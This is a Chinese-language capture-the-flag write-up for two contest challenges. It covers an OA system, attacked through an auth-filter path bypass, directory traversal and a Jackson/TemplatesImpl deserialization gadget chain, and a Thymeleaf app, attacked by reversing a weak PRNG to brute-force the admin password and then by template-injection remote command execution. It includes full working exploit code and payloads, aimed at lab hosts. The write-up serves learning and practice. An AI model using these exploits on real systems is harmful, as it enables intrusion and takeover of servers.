Polaris Oa、软件系统安全赛Themeleaf

Polaris oa

AuthController硬编码了admin的username和password,所以我们只能注册普通用户

img

并且过滤器也有黑名单

img

参考绕过补丁,再次实现华夏erp未授权rce已修复,构造user/..;123/admin即可绕过

img管理员面板有三个功能,上传文件、解析文件、查询文件

文件上传存在黑名单

private static final Set<String> FORBIDDEN_EXTENSIONS = new HashSet(Arrays.asList("jsp", "jspx", "asp", "aspx", "php", "exe", "sh", "bat", "cmd"));

调用fileManager.saveFile方法保存文件

img

saveFile方法对文件内容调用simpleEncrypt处理

img

simpleEncrypt对文件内容进行异或处理

img

我们继续看看另外两个功能,对应AjaxController

managerMethoddeserializeData时调用handleDeserializeData方法

img

然后调用deserializeData方法

img

img

最后在deserializeFile方法中进行反序列化

img

如果存在相应的解密方法,我们就可以尝试上传一个序列化后的文件,通过deserializeData方法反序列化

managerMethodparseService时调用handleParseService方法

img

然后调用parseService方法

img

我们先看getDecryptedTempFile方法

img

首先通过readFileContent读取文件内容

img

读取文件内容后调用simpleDecrypt对文件内容进行处理,跟进这个方法

img

实际上还是调用了simpleEncrypt方法

继续看serializationList方法

img

生成带_parsed后缀的文件名并写入序列化数据,但是序列化的实际上是InterfaceConfig对象

这样一看上传后的文件和序列化处理后的文件都是被异或处理了,那么实际上是不会反序列化我们原来上传的文件内容

但是还有一个DocController,直接看checkIsSign方法

img

这里fileList以$分割,前面是源文件,后面是目标文件

并且这里存在目录穿越,我们可以把刚开始上传的文件写到任意目录

img

decrypt方法还调用了xorCrypt对我们的源文件进行解密

img

那么我们上传一个文件到docs目录,再通过checkIsSign方法目录穿越到uploads目录,最后调用deserializeData对其进行反序列化即可

依赖存在Jackson

img

打Jackson原生反序列化

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URI;
import java.util.Base64;

public class TemplatesImplChain {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        ClassPool.getDefault().insertClassPath(new LoaderClassPath(PoC.class.getClassLoader()));
        CtClass ctClass = pool.getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace");//获取并修改方法
        originalMethod.setName("replace");
        ctClass.toClass();//加载修改后的类



        CtClass clazz = pool.makeClass("p0l1st");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", bytes);
        setFieldValue(templates, "_name", "a");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


//        POJONode jsonNodes = new POJONode(templates);
        POJONode jsonNodes = new POJONode(makeTemplatesImplAopProxy(templates));
        BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(exp,jsonNodes);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(exp);
        FileOutputStream fout=new FileOutputStream("1.ser");
        fout.write(barr.toByteArray());
        fout.close();
        FileInputStream fileInputStream = new FileInputStream("1.ser");
        System.out.println(serial(exp));
        deserial(serial(exp));
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static void deserial(String data) throws Exception {
        byte[] base64decodedBytes = Base64.getDecoder().decode(data);
        ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }

    private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, arg);
    }
    public static Object makeTemplatesImplAopProxy(Object templatesImpl) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templatesImpl);
        Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
                .getDeclaredConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(
                ClassLoader.getSystemClassLoader(),
                new Class[]{javax.xml.transform.Templates.class},
                handler
        );
        return proxy;
    }
}

上传文件

img

这里还要进行一次序列化处理,因为我们目录穿越需要覆盖这个文件

img

目录穿越覆盖上面的17758829918133124_parsed

img

最后进行反序列化

img

软件系统安全赛 thymeleaf

SecurityFilterChain配置中所有接口都可以访问

img

这个jar包名字就是prng(伪随机数生成器),直接看RandomService

public class RandomService {
    private final PseudoRandomGenerator prng;
    private final UserRepository userRepository;
    private final PasswordEncoder passwordEncoder;
    private long adminPassword;
    private final long seed;

    @Autowired
    public RandomService(UserRepository userRepository) {
        this.userRepository = userRepository;
        this.passwordEncoder = new BCryptPasswordEncoder();
        SecureRandom random = new SecureRandom();
        long rawSeed = (long)random.nextInt() << 32 | (long)random.nextInt() & 4294967295L;
        this.seed = rawSeed & 281474976710655L;
        this.prng = new PseudoRandomGenerator(this.seed);

        for(int i = 0; i < 9; ++i) {
            this.prng.next();
        }

        this.adminPassword = this.prng.next();
    }

    @PostConstruct
    public void initAdminUser() {
        this.userRepository.deleteAll();
        String plainPassword = String.format("%016d", this.adminPassword % 10000000000000000L);
        String hashedPassword = this.passwordEncoder.encode(plainPassword);
        User admin = new User("admin", hashedPassword, "ADMIN");
        this.userRepository.save(admin);

        for(int i = 1; i <= 5; ++i) {
            String username = "user" + i;
            long userPlainPassword = this.prng.next();
            String userPasswordStr = String.format("%016d", userPlainPassword % 10000000000000000L);
            String userHashedPassword = this.passwordEncoder.encode(userPasswordStr);
            User user = new User(username, userHashedPassword, "USER");
            this.userRepository.save(user);
        }

    }

    public long nextRandom() {
        return this.prng.next();
    }

先用seed初始化prng,丢弃前9个输出,第十个输出赋值给adminPassword,在initAdminUser中设置了五个测试账户,分别对应11 12 13 14 15次输出,我们注册的用户会通过nextRandom调用prng.next也就是第16次输出

我们再看一下PseudoRandomGenerator

public class PseudoRandomGenerator {
    private long state;
    private static final long MASK = 281474976710655L;
    private static final int BITLEN = 48;

    public PseudoRandomGenerator(long seed) {
        this.state = seed & 281474976710655L;
        if (this.state == 0L) {
            this.state = 190085268090081L;
        }

    }

    public long next() {
        long feedback = (this.state >> 47 ^ this.state >> 46 ^ this.state >> 43 ^ this.state >> 42) & 1L;
        this.state = (this.state >> 1 | feedback << 47) & 281474976710655L;
        return this.state;
    }

    public long getState() {
        return this.state;
    }

    public void setState(long state) {
        this.state = state & 281474976710655L;
    }

    public int nextInt(int min, int max) {
        if (min >= max) {
            return min;
        } else {
            long range = (long)max - (long)min + 1L;
            long value = this.next() % range;
            return (int)((long)min + value);
        }
    }
}

PRNG 每次更新就是把状态右移一位,然后在最高位补一个由第 47、46、43、42 位异或出来的feedback。问题在于,右移的时候最低位(第 0 位)直接被丢掉了,而且这个最低位又没有参与feedback 的计算,所以这 1 bit 信息是彻底丢失的。也就是说,如果往回推状态的话,每回退一步都会多出一个“不确定的最低位”,可能是 0 或 1,对应两种情况。我们现在拿到的是第 16 次输出,而管理员密码是在第 10 次生成的,中间差了 6 步,所以一共会产生 64 种可能。

所以我们拿到注册用户的密码之后直接爆破就行了

import requests
url = "http://127.0.0.1:8080/dologin"

MASK = (1 << 48) - 1
OBSERVED_PASSWORD = "0183087383712632"

def prev_states(cur: int):
    # cur 的低 47 位对应 prev 的高 47 位左移回来
    upper = (cur & ((1 << 47) - 1)) << 1
    res = []

    # 枚举丢失的最低位 b0
    for b0 in (0, 1):
        prev = (upper | b0) & MASK

        # 检查 prev 生成到 cur feedback 是否匹配 cur 的最高位
        fb = ((prev >> 47) ^ (prev >> 46) ^ (prev >> 43) ^ (prev >> 42)) & 1
        if fb == ((cur >> 47) & 1):
            res.append(prev)

    return res

def recover_candidates(observed: str, back_steps: int = 6):
    cur = int(observed)
    states = {cur}

    for _ in range(back_steps):
        nxt = set()
        for s in states:
            nxt.update(prev_states(s))
        states = nxt

    passwords = sorted(f"{s % 10**16:016d}" for s in states)
    return passwords


if __name__ == "__main__":
    candidates = recover_candidates(OBSERVED_PASSWORD, 6)
    print(f"candidate count: {len(candidates)}")
    for i, pwd in enumerate(candidates, 1):
        data = {
            "username": "admin",
            "password": pwd
        }
        r = requests.post(url, data=data,allow_redirects=False)
        # print(r.text)
        if r.status_code == 302:
            print(f"[+]find password:{pwd}")

img

登录

img

admin路由存在thymeleaf ssti

img

并且使用的版本是3.0.15

img

通过#response.setHeader来回显

import base64
import requests

BASE = "http://192.168.2.105:8080/"
ADMIN_PASSWORD = "0177118512471561"

command = [
    "whoami",
]

payload = "__|$${#response.setHeader('Xb64',''+(''.getClass().forName('java.lang.Process').getMethod('waitFor').invoke(#p=(New java.lang.ProcessBuilder()).command('sh','-c','"+command[0]+"').redirectErrorStream(true).start())!=null ? ''.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(''.getClass().forName('java.io.InputStream').getMethod('readAllBytes').invoke(''.getClass().forName('java.lang.Process').getMethod('getInputStream').invoke(#p))) : 'Z'))}|__::main"

s = requests.Session()
s.trust_env = False

r = s.post(
    BASE + "/dologin",
    data={"username": "admin", "password": ADMIN_PASSWORD},
    allow_redirects=False,
    timeout=15,
)
print("login:", r.status_code)

r = s.get(
    BASE + "/admin",
    params={"section": payload},
    timeout=30,
)

b64 = r.headers.get("Xb64") or r.headers.get("Xb64".title())
print(base64.b64decode(b64).decode())

img